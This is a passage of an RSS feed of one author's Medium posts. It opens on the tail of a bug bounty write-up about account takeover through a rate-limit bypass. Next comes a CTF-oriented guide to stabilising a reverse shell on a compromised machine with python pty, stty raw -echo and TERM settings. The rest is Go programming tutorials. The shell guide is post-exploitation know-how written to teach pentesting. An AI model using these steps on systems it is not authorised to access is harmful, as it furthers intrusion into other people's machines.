it.</blockquote><ul><li>Attackers can take over any student’s account.</li><li>Mass account taker over of students can be done. Since all the classroom codes can be generated easily.</li><li>The vulnerability exposes student’s personal data and activities within the platform, that can pose significant risks to their privacy and potentially leading to misuse.</li><li>Malicious users can spread malwares on a large scale in the classroom after taking over student’s accounts.</li></ul><h3>Mitigations</h3><blockquote>how to fix this issue?</blockquote><ul><li>Introduce challenges like CAPTCHAs or interactive tests that can distinguish between human users and automated scripts.</li><li>Utilize tokens or unique identifiers associated with each user or request to track and manage rate limits. This can help differentiate legitimate users from potential attackers.</li></ul><h3>References</h3><ul><li><a href="https://hackerone.com/reports/165727">Slack | Report #165727 — Rate-limit bypass | HackerOne</a></li><li><a href="https://hackerone.com/reports/1067533">Courier | Report #1067533 — Rate limit function bypass can leads to occur huge critical problem into website. | HackerOne</a></li><li><a href="https://sapt.medium.com/no-rate-limiting-vulnerability-bypasses-cyber-sapiens-internship-task-17-bcf31d5d511c">No Rate Limiting Vulnerability &amp; Bypasses | by Prajit Sindhkar | Medium</a></li><li><a href="https://lokeshdlk77.medium.com/confirming-any-new-email-address-bug-in-facebook-part-4-70cfe1b4dca5">Confirming any new Email Address bug in Facebook (Part-4) | by Lokesh Kumar | Medium</a></li></ul><h3>Reporting Timeline:</h3><p><strong>Reported on:</strong> 09 Jan 2024 17:34:16 IST</p><p><strong>Marked as N/A:</strong> 01 Feb 2024 13:22:50 IST</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FLVaC003UL5wdAi961lGow.png" /></figure><p>Currently I have no idea If they’ve fixed this issue or not. I’ve never touched that sh*t again and I’m publishing this write up because according to them their system is secure from this attack since “The IP Ban is already in place”.</p><p>Even though I have properly explained the severity of this issue, the program didn’t seem to care.</p><blockquote>A piece of advice for you all don’t waste your time in “bug bounty” programs like these.</blockquote><p>Thank you for reading! Feel free to share your thoughts or questions in the comments.</p><h3>Reach me on:</h3><p><strong>Linkedin:</strong> <a href="https://www.linkedin.com/in/saeeed/">https://www.linkedin.com/in/saeed0x1/</a></p><p><strong>X (Twitter):</strong> <a href="https://twitter.com/saeed0x1">https://x.com/saeed0x1</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=49755cf459fc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Stabilizing a Reverse Shell for Interactive Access: A Step-by-Step Guide]]></title>
            <link>https://saeed0x1.medium.com/stabilizing-a-reverse-shell-for-interactive-access-a-step-by-step-guide-c5c32f0cb839?source=rss-79ba1db914b3------2</link>
            <guid isPermaLink="false">https://medium.com/p/c5c32f0cb839</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[SAEED]]></dc:creator>
            <pubDate>Wed, 09 Aug 2023 15:30:44 GMT</pubDate>
            <atom:updated>2025-08-28T11:04:52.854Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3gqHVW-KrH2RuS2Xil2deg.png" /></figure><h3><strong>Prerequisites</strong></h3><p>This is a post exploitation process. Follow the steps if you have already got a reverse shell connection from the target machine.</p><p>Before we begin, ensure that the target machine has Python 2 or 3 installed. This will be essential for implementing the steps outlined in this guide.</p><p>run the commands below to check :</p><pre>which python </pre><p>or</p><pre>which python3</pre><p>After running these commands if you get output like these /usr/bin/python or /usr/bin/python3. It means python is installed in the target system and we can move on to the next step.</p><h3>Stabilize your shell :</h3><ol><li><strong>Import the </strong><strong>pty Module and Spawn a Bash Shell :</strong></li></ol><p>On your target machine execute the following command:</p><pre>python3 -c ‘import pty;pty.spawn(“/bin/bash”)’</pre><p><strong>2. Background the Process :</strong></p><p>Once the shell is spawned, you might notice that the interaction isn’t entirely smooth yet.</p><p>Press CTRL + Z to temporarily background the process. This will allow you to regain control of your host machine while keeping the spawned shell active on the target.</p><p><strong>3. Adjust Terminal Line Settings and Bring the Shell to the Foreground :</strong></p><p>To enhance the interactive experience, you’ll need to tweak the terminal settings of your host machine.</p><p>now run the following command in your host machine :</p><pre>stty raw -echo; fg</pre><p>This combination of commands adjusts the terminal settings to enable a smoother flow of input and output and will bring back the shell that you minimized previously.</p><p><strong>4. Set the Terminal Emulator to xterm :</strong></p><p>After bringing the shell back, for optimal compatibility and usability, set the terminal emulator to xterm on your target machine using the following command:</p><pre>export TERM=xterm</pre><p>This step ensures that the system interprets the terminal environment correctly.</p><p><strong>Explanation :</strong></p><ul><li>The pty module is pivotal for creating and managing pseudo-terminals, which allow us to interact programmatically with processes and their controlling terminals.</li><li>The pty.spawn() function is used to start a new process and link its controlling terminal with the current process’s standard I/O. This establishes a more interactive connection.</li><li>The stty command enables us to modify terminal settings. By using stty raw, we activate raw mode, which reads characters one at a time instead of waiting for a complete line. The stty -echo command disables echoing, preventing your input from being displayed on the screen.</li><li>The export TERM=xterm command sets the terminal emulator to xterm. This ensures that the system interprets the terminal characteristics correctly for a smoother interaction.</li></ul><p>Following these steps, you can stabilize a reverse shell manually.</p><p>However, you can use this tool <a href="https://github.com/calebstewart/pwncat">https://github.com/calebstewart/pwncat</a> as well. This tool has a lot of in built features that can help you in your pentest or CTFs.</p><h4>Reach me on :</h4><p><a href="https://www.linkedin.com/in/saeeed/">https://www.linkedin.com/in/saeed0x1/</a></p><p><a href="https://twitter.com/saeed0x1">https://twitter.com/saeed0x1</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c5c32f0cb839" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Difference between new() and make() in Golang]]></title>
            <link>https://saeed0x1.medium.com/difference-between-new-and-make-in-golang-f163b33236ee?source=rss-79ba1db914b3------2</link>
            <guid isPermaLink="false">https://medium.com/p/f163b33236ee</guid>
            <category><![CDATA[go]]></category>
            <category><![CDATA[google]]></category>
            <category><![CDATA[data]]></category>
            <category><![CDATA[golang]]></category>
            <dc:creator><![CDATA[SAEED]]></dc:creator>
            <pubDate>Fri, 03 Mar 2023 03:53:17 GMT</pubDate>
            <atom:updated>2025-08-28T13:29:38.727Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G6E-SEPCYir1P0YnFWamtw.png" /></figure><p>Golang is a statically-typed language with a garbage collector that makes it easy to write concurrent programs. In Golang, there are two ways to allocate memory: make and new. While both of these keywords can be used to allocate memory, they are used for different purposes.</p><h3>new</h3><p>The new keyword in Golang is used to create a new instance of a variable, and it returns a pointer to the memory allocated. It is used for allocating memory for the value of a certain type. new takes a type as its argument and returns a pointer to a newly allocated zero value of that type.</p><p><strong>example of new</strong>:</p><pre>// creating a new pointer to an int variable<br>var x *int = new(int)<br><br>// setting the value of the newly allocated int variable<br>*x = 5<br><br>// output: 5<br>fmt.Println(*x)</pre><p>In the above example, new is used to allocate memory for an int variable, and the pointer to this newly allocated memory is stored in the x variable. The value of the int variable is then set to 5.</p><h3>make</h3><p>The make keyword in Golang is used to create slices, maps, and channels, and it returns a value of the type that was created. Unlike new, make returns a value of the type being created, not a pointer to the type.</p><p><strong>example of make</strong> :</p><pre>// creating a new slice with a length of 3<br>var s []int = make([]int, 3)<br><br>// setting the values of the slice<br>s[0] = 1<br>s[1] = 2<br>s[2] = 3<br><br>// output: [1 2 3]<br>fmt.Println(s)</pre><p>In the above example, make is used to create a new slice of int type with a length of 3, and the slice is stored in the s variable. The values of the slice are then set to 1, 2, and 3.</p><h3>Keypoints</h3><ol><li>new returns a pointer to the memory allocated, while make returns the value of the type being created.</li><li>new only works with basic types such as int, float, bool, etc. make is used for creating slices, maps, and channels.</li><li>new allocates zeroed memory, while make allocates memory and initializes it.</li></ol><h3>Conclusion</h3><p>In Golang, new and make are two keywords that are used for allocating memory. new is used for creating a new instance of a variable, and it returns a pointer to the memory allocated. make is used for creating slices, maps, and channels, and it returns the value of the type being created. Knowing the differences between these two keywords is important when writing Golang code.</p><h4>Reach me on :</h4><p><a href="https://www.linkedin.com/in/saeeed/">https://www.linkedin.com/in/saeed0x1/</a></p><p><a href="https://twitter.com/saeed0x1">https://twitter.com/saeed0x1</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f163b33236ee" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Go struct vs C struct]]></title>
            <link>https://saeed0x1.medium.com/go-struct-vs-c-struct-4faa36e1af5b?source=rss-79ba1db914b3------2</link>
            <guid isPermaLink="false">https://medium.com/p/4faa36e1af5b</guid>
            <category><![CDATA[cpp]]></category>
            <category><![CDATA[data]]></category>
            <category><![CDATA[c-programming]]></category>
            <category><![CDATA[golang]]></category>
            <category><![CDATA[data-structures]]></category>
            <dc:creator><![CDATA[SAEED]]></dc:creator>
            <pubDate>Sat, 31 Dec 2022 15:45:26 GMT</pubDate>
            <atom:updated>2023-03-03T03:57:39.199Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*BqKy99Lv2R9kEwEoobVsNw.png" /></figure><p>In this article we’ll discuss about the similarities and differences between Go and C’s struct.</p><p>In Go and C, a <strong>struct</strong> is a composite data type that allows us to group together related values.</p><p>Here are some similarities between Go’s <strong>struct</strong> and C’s <strong>struct </strong>:</p><ol><li><strong>Syntax :</strong> The syntax for defining a <strong>struct</strong> in Go and C is similar.</li></ol><p><em>For example :</em></p><pre>// Syntax for defining a struct in C<br>struct Point {<br> int x;<br> int y;<br>};<br><br><br>// Syntax for defining a struct in Go<br>type Point struct {<br> X int<br> Y int<br>}</pre><p><strong>2. Fields :</strong></p><p>Both Go’s and C’s <strong>struct</strong> can have fields (<em>i.e., variables</em>) of different types, and these fields can be accessed using dot notation.</p><p><em>For example :</em></p><pre>// Accessing fields in a struct in C<br>struct Point p = {1, 2};<br>printf(&quot;%d %d\n&quot;, p.x, p.y);<br><br><br>// Accessing fields in a struct in Go<br>p := Point{X: 1, Y: 2}<br>fmt.Println(p.X, p.Y)</pre><p><strong>3. Pointers :</strong></p><p>Both Go’s and C’s <strong>struct</strong> can be passed around as pointers, which allows us to modify the fields of the struct in a function without having to pass the entire struct by value.</p><p><em>For example :</em></p><pre>// Using pointers with structs in C<br>void scale_by(struct Point *p, int factor) {<br> p-&gt;x *= factor;<br> p-&gt;y *= factor;<br>}<br><br><br>// Using pointers with structs in Go<br>func (p *Point) ScaleBy(factor int) {<br> p.X *= factor<br> p.Y *= factor<br>}</pre><p><strong>4. Anonymous fields :</strong></p><p>Both Go’s and C’s struct can have anonymous fields, which are fields that do not have a name. Anonymous fields in Go are used to embed one struct within another, while anonymous fields in C are used to specify a type without creating a new name.</p><p><em>For example:</em></p><pre>// Anonymous fields in C<br>struct Circle {<br> struct Point p;<br> int radius;<br>};<br><br><br>// Anonymous fields in Go<br>type Circle struct {<br> Point<br> Radius int<br>}</pre><p>These are the similarities between Go and C’s struct. Now let’s talk about some differences between them.</p><h3>Differences</h3><ol><li><strong>Typedef :</strong></li></ol><p>In C, we can use the <strong>typedef</strong> keyword to give a struct a new name, which can make it easier to use. In Go, we can use<strong> type</strong> aliases to give a struct a new name, but this is not the same as <strong>typedef.</strong></p><p><strong>2. Methods :</strong></p><p>Go’s struct can have methods (<em>i.e., functions that are associated with a struct</em>), while C’s struct cannot. In C, we can define functions that take a struct as an argument, but these functions are not associated with the struct in the same way as methods.</p><p><strong>3. Initialization :</strong></p><p>In C, we can initialize a struct using a syntax similar to an array initialization.</p><p>In Go, we must use a field-by-field initialization, similar to an object initialization in JavaScript.</p><p><em>For example:</em></p><pre>// Initializing a struct in C<br>struct Point p1 = {1, 2};<br>struct Point p2 = {.y = 3, .x = 4};<br><br><br>// Initializing a struct in Go<br>p1 := Point{X: 1, Y: 2}<br>p2 := Point{Y: 3, X: 4}</pre><p><strong>4. Arrays :</strong></p><p>In C, we can define arrays of structs, while in Go, we must use a slice (<em>i.e, a dynamically-sized array </em>) if we want to group structs together.</p><p><strong>5. OOP :</strong></p><p>C does not have native support for object-oriented programming (OOP), while Go does show some OOP features ( <em>note : Go is not a fully OOP language </em>). This means that Go’s struct has more features than C’s struct.</p><p>Hope this clarified your confusion on Go and C’s struct.</p><p>Thanks for reading, see you in the next article :)</p><h4>Reach me on 📱-</h4><p><a href="https://www.linkedin.com/in/saeeed/">https://www.linkedin.com/in/saeeed/</a></p><p><a href="https://twitter.com/zerodayrat">https://twitter.com/</a>saeed0x1</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4faa36e1af5b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Sorting Algorithms in Go : Quick Sort]]></title>
            <link>https://saeed0x1.medium.com/sorting-algorithms-in-go-quick-sort-177b94553c25?source=rss-79ba1db914b3------2</link>
            <guid isPermaLink="false">https://medium.com/p/177b94553c25</guid>
            <category><![CDATA[quicksort]]></category>
            <category><![CDATA[golang]]></category>
            <category><![CDATA[algorithms]]></category>
            <category><![CDATA[sad]]></category>
            <category><![CDATA[data-structures]]></category>
            <dc:creator><![CDATA[SAEED]]></dc:creator>
            <pubDate>Sat, 17 Dec 2022 15:25:55 GMT</pubDate>
            <atom:updated>2023-03-03T03:58:41.967Z</atom:updated>
            <content:encoded><![CDATA[<h3>Sorting Algorithms in Go : Quick Sort</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*UAp7QDZhE5cUk0i9oLae8A.png" /></figure><p>Quick sort is a popular sorting algorithm that works by selecting a “pivot” element from the array and partitioning the other elements into two sub-arrays, according to whether they are less than or greater than the pivot.</p><p>The elements which are less than the pivot are placed in the left and the elements which are greater than or equal to the pivot are placed in the right.</p><p>The left side and right side elements are than divided into sub arrays then the sub-arrays are sorted recursively using the same process.</p><p>Here is a simple example of how quick sort works:</p><ul><li>Given the array [5, 2, 6, 3, 1, 4], the pivot element is chosen as the middle element (in this case, 3).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*Tyj9agPFK-G4YZVJTsMgQQ.png" /></figure><ul><li>The elements in the array are partitioned into two sub-arrays:</li><li>[2, 1] <strong>(elements less than 3)</strong> and [5, 6, 4] <strong>(elements greater than or equal to 3).</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*VDxuhnBJHdEkO45POL5fHA.png" /></figure><p>The two sub-arrays are then sorted <strong><em>recursively</em></strong> using the same process :</p><ul><li>[ 2, 1 ] becomes the array, and the pivot element is chosen as 2.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/548/1*1JBhb6xox6lzQEBNAR99Rg.png" /></figure><p>The elements in the array are partitioned into two sub-arrays:</p><ul><li>[ 1 ] (elements less than 2) and [ 2 ] (elements greater than or equal to 2).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/543/1*od2yegNr4PPKscgZNv6OFg.png" /></figure><p><strong><em>Now the left side elements are sorted.</em></strong></p><p>Again [5, 6, 4] becomes an another array, and here the pivot element is chosen as 5.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*TrGqMS7K1HE2-5S4XBsbjw.png" /></figure><p>The elements in the array are partitioned into two sub-arrays :</p><ul><li>[ 4 ] (elements less than 5) and [ 6 ] (elements greater than or equal to 5).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*jpo7AAp40Kfg0b0Wj9tQQQ.png" /></figure><p>The sorted sub-arrays are then combined : [ 1, 2, 3, 4, 5, 6 ]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*AfmRQCN5NqN5qnkF1FOsEQ.png" /></figure><p>Here is a simple implementation of quick sort in Go:</p><pre>package main<br><br>import &quot;fmt&quot;<br><br>func quickSort(arr []int) []int {<br>  // If the input array has less than 2 elements,<br> // it is already sorted, so return it as is.<br> if len(arr) &lt; 2 {<br>  return arr<br> }<br><br> // Here we are chosing the pivot element<br> // as the middle element of the array.<br> pivotIndex := len(arr) / 2<br> pivot := arr[pivotIndex]<br><br>  // Initialize two slices to hold the elements that are <br>  // less than and greater than the pivot.<br> var less []int<br> var greater []int<br><br>  // Iterate through the input array and partition<br> // the elements into the appropriate slice.<br> for i, v := range arr {<br><br>// Skip the pivot element, since it will be added back in later.<br>  if i != pivotIndex {<br><br>// If the element is less than the pivot, add it to the &quot;less&quot; slice.<br>// If the element is greater than or equal to the pivot,<br>// add it to the &quot;greater&quot; slice.<br>   if v &lt; pivot {<br>    less = append(less, v)<br>   } else {<br>    greater = append(greater, v)<br>   }<br>  }<br> }<br><br>  // Recursively sort the &quot;less&quot; and &quot;greater&quot; slices,<br>  // then append the pivot element and return the result.<br> <br> sortedLess := quickSort(less)<br> sortedGreater := quickSort(greater)<br> sorted := append(sortedLess, pivot)<br> sorted = append(sorted, sortedGreater...)<br><br> return sorted<br>}<br><br>func main() {<br> arr := []int{5, 2, 6, 3, 1, 4}  // Initialize the input array.<br> fmt.Println(quickSort(arr))  // Sort the array and print the result.<br>}</pre><h3><strong>Best Case Scenario of Quick Sort -</strong></h3><p>The time complexity of quick sort in the <strong>Best case</strong> scenario is : <strong>O(n*logn).</strong></p><p>It occurs when the pivot element is chosen such that it results in the most balanced partition possible. This means that the lengths of the two sub-arrays are as close as possible to each other.</p><h3><strong>Average Case Scenario of Quick Sort -</strong></h3><p>The time complexity of quick sort in the <strong>Average case</strong> scenario is : <strong>O(n*logn).</strong></p><p>It occurs when the pivot element is chosen randomly and the pivot element is resulted in a fairly balanced partition.</p><h3><strong>Worst Case Scenario of Quick Sort -</strong></h3><p>The time complexity of quick sort in the <strong>Worst case</strong> scenario is : <strong>O(n²).</strong></p><p>The worst case for quick sort occurs when the pivot element is chosen poorly, resulting in one sub-array being much larger than the other.</p><p>Thanks for reading. See you in the next article :)</p><h4>Reach me on 📱-</h4><p><a href="https://www.linkedin.com/in/saeeed/">https://www.linkedin.com/in/saeeed/</a></p><p><a href="https://twitter.com/zerodayrat">https://twitter.com/</a>saeed0x1</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=177b94553c25" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>